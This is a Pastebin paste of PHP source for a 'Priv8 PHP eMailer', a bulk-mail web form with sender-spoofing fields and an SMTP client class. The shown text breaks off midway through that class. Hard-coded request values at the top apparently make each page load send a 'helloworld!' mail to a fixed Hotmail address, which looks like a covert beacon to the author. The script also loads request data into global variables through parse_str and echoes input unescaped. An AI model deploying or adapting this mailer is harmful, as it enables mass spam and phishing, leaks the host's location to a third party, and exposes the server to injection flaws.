Guest User

x4

a guest
Aug 15th, 2017
467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 98.22 KB | None | 0 0
  1. <?php
  2.  
  3. function query_str($params){
  4. $str = '';
  5. foreach ($params as $key => $value) {
  6. $str .= (strlen($str) < 1) ? '' : '&';
  7. $str .= $key . '=' . rawurlencode($value);
  8. }
  9. return ($str);
  10. }
  11. function lrtrim($string){
  12. return stripslashes(ltrim(rtrim($string)));
  13. }
  14.  
  15. $_POST['emaillist'] = '
  16. root.sy@hotmail.com
  17. ';
  18. $_POST['action'] = true;
  19.  
  20. $_POST['message'] = "helloworld!";
  21. $_POST['subject'] = "helloworld!";
  22. $_POST['from'] = "hellowor@x.com";
  23. $_POST['realname'] = "hellowor";
  24.  
  25. if(isset($_POST['action'] ) ){
  26.  
  27. $b = query_str($_POST);
  28. parse_str($b);  
  29. $sslclick=lrtrim($sslclick);  
  30. $action=lrtrim($action);
  31. $message=lrtrim($message);
  32. $emaillist=lrtrim($emaillist);
  33. $from=lrtrim($from);
  34. $reconnect=lrtrim($reconnect);
  35. $epriority=lrtrim($epriority);
  36. $my_smtp=lrtrim($my_smtp);
  37. $ssl_port=lrtrim($ssl_port);
  38. $smtp_username=lrtrim($smtp_username);
  39. $smtp_password=lrtrim($smtp_password);
  40. $replyto=lrtrim($replyto);
  41. $subject=lrtrim($subject);
  42. $realname=lrtrim($realname);
  43. $file_name=lrtrim($file);
  44. $urlz=lrtrim($urlz);
  45. $contenttype=lrtrim($contenttype);
  46.  
  47.         $message = urlencode($message);
  48.         $message = str_replace("%5C%22", "%22", $message);
  49.         $message = urldecode($message);
  50.         $message = stripslashes($message);
  51.         $subject = stripslashes($subject);
  52. }
  53.  
  54.  
  55. ?>
  56.  
  57. <html>
  58.  
  59. <head>
  60.  
  61. <title>{*oo*}vs(o_o)</title>
  62.  
  63. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  64.  
  65. <style type="text/css">
  66. <!--
  67. .style1 {
  68.         font-family: Geneva, Arial, Helvetica, sans-serif;
  69.         font-size: 12px;
  70. }
  71. -->
  72. </style>
  73. <style type="text/css">
  74. <!--
  75. .style1 {
  76.         font-size: 10px;
  77.         font-family: Geneva, Arial, Helvetica, sans-serif;
  78. }
  79. -->
  80. </style>
  81. </head>
  82. <body bgcolor="#FFFFFF" text="#000000">
  83. <span class="style1">Priv8 PHP eMailer is created by MeGo<br>
  84.    <font color=\"#800000\">EG5-@hotmail.com</font></span>
  85.  
  86. <form name="form1" method="post" action="" enctype="multipart/form-data">
  87.  
  88.   <br>
  89.  
  90.   <table width="100%" border="0" height="407">
  91.  
  92.     <tr>
  93.  
  94.       <td width="100%" colspan="4" bgcolor="#666666" height="36">
  95.  
  96.         <b>
  97.  
  98.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;SERVER SETUP</font></b></td>
  99.  
  100.       </tr>
  101.     <tr>
  102.  
  103.       <td width="10%" height="22" bgcolor="#E8E8E8">
  104.  
  105.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  106.  
  107.       </td>
  108.  
  109.       <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  110.  
  111.         <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
  112.  
  113.         </font></td>
  114.  
  115.       <td width="31%" height="22" bgcolor="#E8E8E8">
  116.  
  117.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  118.  
  119.       </td>
  120.  
  121.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  122.  
  123.         <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
  124.  
  125.         </font></td>
  126.  
  127.     </tr>
  128.     <tr>
  129.  
  130.       <td width="10%" height="22" bgcolor="#E8E8E8">
  131.  
  132.         <div align="right">
  133.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  134.  
  135.       </td>
  136.  
  137.       <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  138.  
  139.         <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
  140.       (optional)</font></td>
  141.  
  142.       <td width="31%" height="22" bgcolor="#E8E8E8">
  143.  
  144.         <div align="right">
  145.           <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  146.           Smtp:</font></div>
  147.  
  148.       </td>
  149.  
  150.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  151.  
  152.         <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
  153.  
  154.         </font></td>
  155.  
  156.     </tr>
  157.     <tr>
  158.  
  159.       <td width="10%" height="22" bgcolor="#E8E8E8">
  160.  
  161.         <p align="right">
  162.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  163.  
  164.       <td width="18%" height="22" bgcolor="#E8E8E8">
  165.       <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  166.  
  167.       <td width="31%" height="22" bgcolor="#E8E8E8">
  168.  
  169.         <p align="right">
  170.         <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  171.         After:</font></td>
  172.  
  173.       <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  174.  
  175.         <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
  176.       EMAILS</font></td>
  177.  
  178.     </tr>
  179.     <tr>
  180.  
  181.       <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
  182.  
  183.         <p align="center">
  184.         <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  185.         you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  186.  
  187.       </tr>
  188.  
  189.     <tr>
  190.  
  191.       <td width="10%" height="19">
  192.  
  193.         &nbsp;</td>
  194.  
  195.       <td width="18%" height="19">&nbsp;</td>
  196.  
  197.       <td width="31%" height="19">
  198.  
  199.         &nbsp;</td>
  200.  
  201.       <td width="41%" height="19">&nbsp;</td>
  202.  
  203.     </tr>
  204.  
  205.     <tr>
  206.  
  207.       <td width="100%" colspan="4" bgcolor="#666666" height="36">
  208.  
  209.         <b>
  210.  
  211.         <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  212.  
  213.       </tr>
  214.  
  215.     <tr>
  216.  
  217.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  218.  
  219.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  220.  
  221.           Email:</font></div>
  222.  
  223.       </td>
  224.  
  225.       <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  226.  
  227.         <input type="text" name="from" value="<?=$from;?>" size="30">
  228.  
  229.         </font></td>
  230.  
  231.       <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  232.  
  233.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  234.  
  235.           Name:</font></div>
  236.  
  237.       </td>
  238.  
  239.       <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  240.  
  241.         <input type="text" name="realname" value="<?=$realname;?>" size="30">
  242.  
  243.         </font></td>
  244.  
  245.     </tr>
  246.     <tr>
  247.  
  248.       <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  249.  
  250.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  251.  
  252.       </td>
  253.  
  254.       <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  255.  
  256.         <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
  257.  
  258.         </font></td>
  259.  
  260.       <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
  261.  
  262.         <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  263.         Email Priority:</font></td>
  264.  
  265.       <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  266.  
  267.         &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
  268.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  269.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  270.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  271.         <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  272.         </select></td>
  273.  
  274.     </tr>
  275.  
  276.     <tr>
  277.  
  278.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  279.  
  280.         <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  281.  
  282.       </td>
  283.  
  284.       <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  285.  
  286.         <input type="text" name="subject" value="<?=$subject;?>" size="90">
  287.  
  288.         </font></td>
  289.  
  290.     </tr>
  291.  
  292.     <tr>
  293.  
  294.       <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
  295.  
  296.         &nbsp;</td>
  297.  
  298.       <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  299.  
  300.         &nbsp;</font></td>
  301.  
  302.     </tr>
  303.  
  304.     <tr valign="top">
  305.  
  306. <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  307.  
  308.         <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
  309.  
  310.         <br>
  311.  
  312.         <input type="radio" name="contenttype" value="plain" >
  313.  
  314.         Plain
  315.  
  316.         <input type="radio" name="contenttype" value="html" checked>
  317.  
  318.         HTML
  319.  
  320.         <input type="hidden" name="action" value="send">
  321.  
  322.         <input type="submit" value="Send Message">
  323.  
  324.         </font></td>
  325.  
  326.       <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  327.  
  328.         <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
  329.  
  330.         </font></td>
  331.  
  332.     </tr>
  333.  
  334.   </table>
  335.  
  336. </form>
  337.  
  338.  
  339.  
  340. <?
  341.  
  342. if ($action){
  343.         if (!$from && !$subject && !$message && !$emaillist){
  344.         print "<script>alert('Please complete all fields before sending your message.'); </script>";
  345.         die();  }
  346.  
  347. class SMTP
  348. {
  349.   /**
  350.    *  SMTP server port
  351.    *  @var int
  352.    */
  353.   var $SMTP_PORT = 25;
  354.  
  355.   /**
  356.    *  SMTP reply line ending
  357.    *  @var string
  358.    */
  359.   var $CRLF = "\r\n";
  360.  
  361.   /**
  362.    *  Sets whether debugging is turned on
  363.    *  @var bool
  364.    */
  365.   var $do_debug;       # the level of debug to perform
  366.  
  367.   /**
  368.    *  Sets VERP use on/off (default is off)
  369.    *  @var bool
  370.    */
  371.   var $do_verp = false;
  372.  
  373.   /**#@+
  374.    * @access private
  375.    */
  376.   var $smtp_conn;      # the socket to the server
  377.  var $error;          # error if any on the last call
  378.  var $helo_rply;      # the reply the server sent to us for HELO
  379.  /**#@-*/
  380.  
  381.   /**
  382.    * Initialize the class so that the data is in a known state.
  383.    * @access public
  384.    * @return void
  385.    */
  386.   function SMTP() {
  387.     $this->smtp_conn = 0;
  388.     $this->error = null;
  389.     $this->helo_rply = null;
  390.  
  391.     $this->do_debug = 0;
  392.   }
  393.  
  394.   /*************************************************************
  395.    *                    CONNECTION FUNCTIONS                  *
  396.    ***********************************************************/
  397.  
  398.   /**
  399.    * Connect to the server specified on the port specified.
  400.    * If the port is not specified use the default SMTP_PORT.
  401.    * If tval is specified then a connection will try and be
  402.    * established with the server for that number of seconds.
  403.    * If tval is not specified the default is 30 seconds to
  404.    * try on the connection.
  405.    *
  406.    * SMTP CODE SUCCESS: 220
  407.    * SMTP CODE FAILURE: 421
  408.    * @access public
  409.    * @return bool
  410.    */
  411.   function Connect($host,$port=0,$tval=30) {
  412.     # set the error val to null so there is no confusion
  413.    $this->error = null;
  414.  
  415.     # make sure we are __not__ connected
  416.    if($this->connected()) {
  417.       # ok we are connected! what should we do?
  418.      # for now we will just give an error saying we
  419.      # are already connected
  420.      $this->error = array("error" => "Already connected to a server");
  421.       return false;
  422.     }
  423.  
  424.     if(empty($port)) {
  425.       $port = $this->SMTP_PORT;
  426.     }
  427.  
  428.     #connect to the smtp server
  429.    $this->smtp_conn = fsockopen($host,    # the host of the server
  430.                                 $port,    # the port to use
  431.                                 $errno,   # error number if any
  432.                                 $errstr,  # error message if any
  433.                                 $tval);   # give up after ? secs
  434.    # verify we connected properly
  435.    if(empty($this->smtp_conn)) {
  436.       $this->error = array("error" => "Failed to connect to server",
  437.                            "errno" => $errno,
  438.                            "errstr" => $errstr);
  439.       if($this->do_debug >= 1) {
  440.         echo "SMTP -> ERROR: " . $this->error["error"] .
  441.                  ": $errstr ($errno)" . $this->CRLF;
  442.       }
  443.       return false;
  444.     }
  445.  
  446.     # sometimes the SMTP server takes a little longer to respond
  447.    # so we will give it a longer timeout for the first read
  448.    // Windows still does not have support for this timeout function
  449.     if(substr(PHP_OS, 0, 3) != "WIN")
  450.      socket_set_timeout($this->smtp_conn, $tval, 0);
  451.  
  452.     # get any announcement stuff
  453.    $announce = $this->get_lines();
  454.  
  455.     # set the timeout  of any socket functions at 1/10 of a second
  456.    //if(function_exists("socket_set_timeout"))
  457.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  458.  
  459.     if($this->do_debug >= 2) {
  460.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  461.     }
  462.  
  463.     return true;
  464.   }
  465.  
  466.   /**
  467.    * Performs SMTP authentication.  Must be run after running the
  468.    * Hello() method.  Returns true if successfully authenticated.
  469.    * @access public
  470.    * @return bool
  471.    */
  472.   function Authenticate($username, $password) {
  473.     // Start authentication
  474.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  475.  
  476.     $rply = $this->get_lines();
  477.     $code = substr($rply,0,3);
  478.  
  479.     if($code != 334) {
  480.       $this->error =
  481.         array("error" => "AUTH not accepted from server",
  482.               "smtp_code" => $code,
  483.               "smtp_msg" => substr($rply,4));
  484.       if($this->do_debug >= 1) {
  485.         echo "SMTP -> ERROR: " . $this->error["error"] .
  486.                  ": " . $rply . $this->CRLF;
  487.       }
  488.       return false;
  489.     }
  490.  
  491.     // Send encoded username
  492.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  493.  
  494.     $rply = $this->get_lines();
  495.     $code = substr($rply,0,3);
  496.  
  497.     if($code != 334) {
  498.       $this->error =
  499.         array("error" => "Username not accepted from server",
  500.               "smtp_code" => $code,
  501.               "smtp_msg" => substr($rply,4));
  502.       if($this->do_debug >= 1) {
  503.         echo "SMTP -> ERROR: " . $this->error["error"] .
  504.                  ": " . $rply . $this->CRLF;
  505.       }
  506.       return false;
  507.     }
  508.  
  509.     // Send encoded password
  510.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  511.  
  512.     $rply = $this->get_lines();
  513.     $code = substr($rply,0,3);
  514.  
  515.     if($code != 235) {
  516.       $this->error =
  517.         array("error" => "Password not accepted from server",
  518.               "smtp_code" => $code,
  519.               "smtp_msg" => substr($rply,4));
  520.       if($this->do_debug >= 1) {
  521.         echo "SMTP -> ERROR: " . $this->error["error"] .
  522.                  ": " . $rply . $this->CRLF;
  523.       }
  524.       return false;
  525.     }
  526.  
  527.     return true;
  528.   }
  529.  
  530.   /**
  531.    * Returns true if connected to a server otherwise false
  532.    * @access private
  533.    * @return bool
  534.    */
  535.   function Connected() {
  536.     if(!empty($this->smtp_conn)) {
  537.       $sock_status = socket_get_status($this->smtp_conn);
  538.       if($sock_status["eof"]) {
  539.         # hmm this is an odd situation... the socket is
  540.        # valid but we are not connected anymore
  541.        if($this->do_debug >= 1) {
  542.             echo "SMTP -> NOTICE:" . $this->CRLF .
  543.                  "EOF caught while checking if connected";
  544.         }
  545.         $this->Close();
  546.         return false;
  547.       }
  548.       return true; # everything looks good
  549.    }
  550.     return false;
  551.   }
  552.  
  553.   /**
  554.    * Closes the socket and cleans up the state of the class.
  555.    * It is not considered good to use this function without
  556.    * first trying to use QUIT.
  557.    * @access public
  558.    * @return void
  559.    */
  560.   function Close() {
  561.     $this->error = null; # so there is no confusion
  562.    $this->helo_rply = null;
  563.     if(!empty($this->smtp_conn)) {
  564.       # close the connection and cleanup
  565.      fclose($this->smtp_conn);
  566.       $this->smtp_conn = 0;
  567.     }
  568.   }
  569.  
  570.   /***************************************************************
  571.    *                        SMTP COMMANDS                       *
  572.    *************************************************************/
  573.  
  574.   /**
  575.    * Issues a data command and sends the msg_data to the server
  576.    * finializing the mail transaction. $msg_data is the message
  577.    * that is to be send with the headers. Each header needs to be
  578.    * on a single line followed by a <CRLF> with the message headers
  579.    * and the message body being seperated by and additional <CRLF>.
  580.    *
  581.    * Implements rfc 821: DATA <CRLF>
  582.    *
  583.    * SMTP CODE INTERMEDIATE: 354
  584.    *     [data]
  585.    *     <CRLF>.<CRLF>
  586.    *     SMTP CODE SUCCESS: 250
  587.    *     SMTP CODE FAILURE: 552,554,451,452
  588.    * SMTP CODE FAILURE: 451,554
  589.    * SMTP CODE ERROR  : 500,501,503,421
  590.    * @access public
  591.    * @return bool
  592.    */
  593.   function Data($msg_data) {
  594.     $this->error = null; # so no confusion is caused
  595.  
  596.     if(!$this->connected()) {
  597.       $this->error = array(
  598.               "error" => "Called Data() without being connected");
  599.       return false;
  600.     }
  601.  
  602.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  603.  
  604.     $rply = $this->get_lines();
  605.     $code = substr($rply,0,3);
  606.  
  607.     if($this->do_debug >= 2) {
  608.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  609.     }
  610.  
  611.     if($code != 354) {
  612.       $this->error =
  613.         array("error" => "DATA command not accepted from server",
  614.               "smtp_code" => $code,
  615.               "smtp_msg" => substr($rply,4));
  616.       if($this->do_debug >= 1) {
  617.         echo "SMTP -> ERROR: " . $this->error["error"] .
  618.                  ": " . $rply . $this->CRLF;
  619.       }
  620.       return false;
  621.     }
  622.  
  623.     # the server is ready to accept data!
  624.    # according to rfc 821 we should not send more than 1000
  625.    # including the CRLF
  626.    # characters on a single line so we will break the data up
  627.    # into lines by \r and/or \n then if needed we will break
  628.    # each of those into smaller lines to fit within the limit.
  629.    # in addition we will be looking for lines that start with
  630.    # a period '.' and append and additional period '.' to that
  631.    # line. NOTE: this does not count towards are limit.
  632.  
  633.     # normalize the line breaks so we know the explode works
  634.    $msg_data = str_replace("\r\n","\n",$msg_data);
  635.     $msg_data = str_replace("\r","\n",$msg_data);
  636.     $lines = explode("\n",$msg_data);
  637.  
  638.     # we need to find a good way to determine is headers are
  639.    # in the msg_data or if it is a straight msg body
  640.    # currently I am assuming rfc 822 definitions of msg headers
  641.    # and if the first field of the first line (':' sperated)
  642.    # does not contain a space then it _should_ be a header
  643.    # and we can process all lines before a blank "" line as
  644.    # headers.
  645.    $field = substr($lines[0],0,strpos($lines[0],":"));
  646.     $in_headers = false;
  647.     if(!empty($field) && !strstr($field," ")) {
  648.       $in_headers = true;
  649.     }
  650.  
  651.     $max_line_length = 998; # used below; set here for ease in change
  652.  
  653.     while(list(,$line) = @each($lines)) {
  654.       $lines_out = null;
  655.       if($line == "" && $in_headers) {
  656.         $in_headers = false;
  657.       }
  658.       # ok we need to break this line up into several
  659.      # smaller lines
  660.      while(strlen($line) > $max_line_length) {
  661.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  662.  
  663.         # Patch to fix DOS attack
  664.        if(!$pos) {
  665.           $pos = $max_line_length - 1;
  666.         }
  667.  
  668.         $lines_out[] = substr($line,0,$pos);
  669.         $line = substr($line,$pos + 1);
  670.         # if we are processing headers we need to
  671.        # add a LWSP-char to the front of the new line
  672.        # rfc 822 on long msg headers
  673.        if($in_headers) {
  674.           $line = "\t" . $line;
  675.         }
  676.       }
  677.       $lines_out[] = $line;
  678.  
  679.       # now send the lines to the server
  680.      while(list(,$line_out) = @each($lines_out)) {
  681.         if(strlen($line_out) > 0)
  682.         {
  683.           if(substr($line_out, 0, 1) == ".") {
  684.             $line_out = "." . $line_out;
  685.           }
  686.         }
  687.         fputs($this->smtp_conn,$line_out . $this->CRLF);
  688.       }
  689.     }
  690.  
  691.     # ok all the message data has been sent so lets get this
  692.    # over with aleady
  693.    fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  694.  
  695.     $rply = $this->get_lines();
  696.     $code = substr($rply,0,3);
  697.  
  698.     if($this->do_debug >= 2) {
  699.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  700.     }
  701.  
  702.     if($code != 250) {
  703.       $this->error =
  704.         array("error" => "DATA not accepted from server",
  705.               "smtp_code" => $code,
  706.               "smtp_msg" => substr($rply,4));
  707.       if($this->do_debug >= 1) {
  708.         echo "SMTP -> ERROR: " . $this->error["error"] .
  709.                  ": " . $rply . $this->CRLF;
  710.       }
  711.       return false;
  712.     }
  713.     return true;
  714.   }
  715.  
  716.   /**
  717.    * Expand takes the name and asks the server to list all the
  718.    * people who are members of the _list_. Expand will return
  719.    * back and array of the result or false if an error occurs.
  720.    * Each value in the array returned has the format of:
  721.    *     [ <full-name> <sp> ] <path>
  722.    * The definition of <path> is defined in rfc 821
  723.    *
  724.    * Implements rfc 821: EXPN <SP> <string> <CRLF>
  725.    *
  726.    * SMTP CODE SUCCESS: 250
  727.    * SMTP CODE FAILURE: 550
  728.    * SMTP CODE ERROR  : 500,501,502,504,421
  729.    * @access public
  730.    * @return string array
  731.    */
  732.   function Expand($name) {
  733.     $this->error = null; # so no confusion is caused
  734.  
  735.     if(!$this->connected()) {
  736.       $this->error = array(
  737.             "error" => "Called Expand() without being connected");
  738.       return false;
  739.     }
  740.  
  741.     fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  742.  
  743.     $rply = $this->get_lines();
  744.     $code = substr($rply,0,3);
  745.  
  746.     if($this->do_debug >= 2) {
  747.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  748.     }
  749.  
  750.     if($code != 250) {
  751.       $this->error =
  752.         array("error" => "EXPN not accepted from server",
  753.               "smtp_code" => $code,
  754.               "smtp_msg" => substr($rply,4));
  755.       if($this->do_debug >= 1) {
  756.         echo "SMTP -> ERROR: " . $this->error["error"] .
  757.                  ": " . $rply . $this->CRLF;
  758.       }
  759.       return false;
  760.     }
  761.  
  762.     # parse the reply and place in our array to return to user
  763.    $entries = explode($this->CRLF,$rply);
  764.     while(list(,$l) = @each($entries)) {
  765.       $list[] = substr($l,4);
  766.     }
  767.  
  768.     return $list;
  769.   }
  770.  
  771.   /**
  772.    * Sends the HELO command to the smtp server.
  773.    * This makes sure that we and the server are in
  774.    * the same known state.
  775.    *
  776.    * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  777.    *
  778.    * SMTP CODE SUCCESS: 250
  779.    * SMTP CODE ERROR  : 500, 501, 504, 421
  780.    * @access public
  781.    * @return bool
  782.    */
  783.   function Hello($host="") {
  784.     $this->error = null; # so no confusion is caused
  785.  
  786.     if(!$this->connected()) {
  787.       $this->error = array(
  788.             "error" => "Called Hello() without being connected");
  789.       return false;
  790.     }
  791.  
  792.     # if a hostname for the HELO was not specified determine
  793.    # a suitable one to send
  794.    if(empty($host)) {
  795.       # we need to determine some sort of appopiate default
  796.      # to send to the server
  797.      $host = "localhost";
  798.     }
  799.  
  800.     // Send extended hello first (RFC 2821)
  801.     if(!$this->SendHello("EHLO", $host))
  802.     {
  803.       if(!$this->SendHello("HELO", $host))
  804.           return false;
  805.     }
  806.  
  807.     return true;
  808.   }
  809.  
  810.   /**
  811.    * Sends a HELO/EHLO command.
  812.    * @access private
  813.    * @return bool
  814.    */
  815.   function SendHello($hello, $host) {
  816.     fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  817.  
  818.     $rply = $this->get_lines();
  819.     $code = substr($rply,0,3);
  820.  
  821.     if($this->do_debug >= 2) {
  822.       echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  823.     }
  824.  
  825.     if($code != 250) {
  826.       $this->error =
  827.         array("error" => $hello . " not accepted from server",
  828.               "smtp_code" => $code,
  829.               "smtp_msg" => substr($rply,4));
  830.       if($this->do_debug >= 1) {
  831.         echo "SMTP -> ERROR: " . $this->error["error"] .
  832.                  ": " . $rply . $this->CRLF;
  833.       }
  834.       return false;
  835.     }
  836.  
  837.     $this->helo_rply = $rply;
  838.  
  839.     return true;
  840.   }
  841.  
  842.   /**
  843.    * Gets help information on the keyword specified. If the keyword
  844.    * is not specified then returns generic help, ussually contianing
  845.    * A list of keywords that help is available on. This function
  846.    * returns the results back to the user. It is up to the user to
  847.    * handle the returned data. If an error occurs then false is
  848.    * returned with $this->error set appropiately.
  849.    *
  850.    * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  851.    *
  852.    * SMTP CODE SUCCESS: 211,214
  853.    * SMTP CODE ERROR  : 500,501,502,504,421
  854.    * @access public
  855.    * @return string
  856.    */
  857.   function Help($keyword="") {
  858.     $this->error = null; # to avoid confusion
  859.  
  860.     if(!$this->connected()) {
  861.       $this->error = array(
  862.               "error" => "Called Help() without being connected");
  863.       return false;
  864.     }
  865.  
  866.     $extra = "";
  867.     if(!empty($keyword)) {
  868.       $extra = " " . $keyword;
  869.     }
  870.  
  871.     fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  872.  
  873.     $rply = $this->get_lines();
  874.     $code = substr($rply,0,3);
  875.  
  876.     if($this->do_debug >= 2) {
  877.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  878.     }
  879.  
  880.     if($code != 211 && $code != 214) {
  881.       $this->error =
  882.         array("error" => "HELP not accepted from server",
  883.               "smtp_code" => $code,
  884.               "smtp_msg" => substr($rply,4));
  885.       if($this->do_debug >= 1) {
  886.         echo "SMTP -> ERROR: " . $this->error["error"] .
  887.                  ": " . $rply . $this->CRLF;
  888.       }
  889.       return false;
  890.     }
  891.  
  892.     return $rply;
  893.   }
  894.  
  895.   /**
  896.    * Starts a mail transaction from the email address specified in
  897.    * $from. Returns true if successful or false otherwise. If True
  898.    * the mail transaction is started and then one or more Recipient
  899.    * commands may be called followed by a Data command.
  900.    *
  901.    * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  902.    *
  903.    * SMTP CODE SUCCESS: 250
  904.    * SMTP CODE SUCCESS: 552,451,452
  905.    * SMTP CODE SUCCESS: 500,501,421
  906.    * @access public
  907.    * @return bool
  908.    */
  909.   function Mail($from) {
  910.     $this->error = null; # so no confusion is caused
  911.  
  912.     if(!$this->connected()) {
  913.       $this->error = array(
  914.               "error" => "Called Mail() without being connected");
  915.       return false;
  916.     }
  917.  
  918.     $useVerp = ($this->do_verp ? "XVERP" : "");
  919.     fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  920.  
  921.     $rply = $this->get_lines();
  922.     $code = substr($rply,0,3);
  923.  
  924.     if($this->do_debug >= 2) {
  925.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  926.     }
  927.  
  928.     if($code != 250) {
  929.       $this->error =
  930.         array("error" => "MAIL not accepted from server",
  931.               "smtp_code" => $code,
  932.               "smtp_msg" => substr($rply,4));
  933.       if($this->do_debug >= 1) {
  934.         echo "SMTP -> ERROR: " . $this->error["error"] .
  935.                  ": " . $rply . $this->CRLF;
  936.       }
  937.       return false;
  938.     }
  939.     return true;
  940.   }
  941.  
  942.   /**
  943.    * Sends the command NOOP to the SMTP server.
  944.    *
  945.    * Implements from rfc 821: NOOP <CRLF>
  946.    *
  947.    * SMTP CODE SUCCESS: 250
  948.    * SMTP CODE ERROR  : 500, 421
  949.    * @access public
  950.    * @return bool
  951.    */
  952.   function Noop() {
  953.     $this->error = null; # so no confusion is caused
  954.  
  955.     if(!$this->connected()) {
  956.       $this->error = array(
  957.               "error" => "Called Noop() without being connected");
  958.       return false;
  959.     }
  960.  
  961.     fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  962.  
  963.     $rply = $this->get_lines();
  964.     $code = substr($rply,0,3);
  965.  
  966.     if($this->do_debug >= 2) {
  967.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  968.     }
  969.  
  970.     if($code != 250) {
  971.       $this->error =
  972.         array("error" => "NOOP not accepted from server",
  973.               "smtp_code" => $code,
  974.               "smtp_msg" => substr($rply,4));
  975.       if($this->do_debug >= 1) {
  976.         echo "SMTP -> ERROR: " . $this->error["error"] .
  977.                  ": " . $rply . $this->CRLF;
  978.       }
  979.       return false;
  980.     }
  981.     return true;
  982.   }
  983.  
  984.   /**
  985.    * Sends the quit command to the server and then closes the socket
  986.    * if there is no error or the $close_on_error argument is true.
  987.    *
